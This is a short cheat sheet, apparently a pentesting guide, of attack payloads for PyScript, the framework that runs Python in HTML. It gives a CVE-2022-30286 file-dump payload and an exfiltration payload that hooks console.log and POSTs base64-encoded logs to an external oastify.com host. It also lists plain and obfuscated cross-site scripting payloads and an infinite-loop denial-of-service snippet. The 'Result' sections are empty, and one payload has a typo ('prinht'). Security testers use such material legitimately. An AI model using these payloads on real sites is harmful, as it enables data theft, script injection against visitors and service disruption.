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Pyscript

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PyScript Pentesting Guide

PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.

Dumping / Retrieving files from the Emscripten virtual memory filesystem:

CVE ID: CVE-2022-30286

Code:

<py-script>
        with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
        out = fin.read()
        print(out)
</py-script>

Result:

OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)

CVE ID: CVE-2022-30286

Code:

   <py-script>
x = "CyberGuy"
if x == "CyberGuy":
    with open('/lib/python3.10/asyncio/tasks.py') as output:
        contents = output.read()
        print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
   </py-script>

Result:

Cross Site Scripting (Ordinary)

Code:

<py-script>
        print("<img src=x onerror='alert(document.domain)'>")
</py-script>

Result:

Cross Site Scripting (Python Obfuscated)

Code:

<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>

Result:

Cross Site Scripting (JavaScript Obfuscation)

Code:

<py-script>
   prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
 </py-script>

Result:

DoS attack (Infinity loop)

Code:

    <py-script>
      while True:
         print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
   </py-script>

Result:

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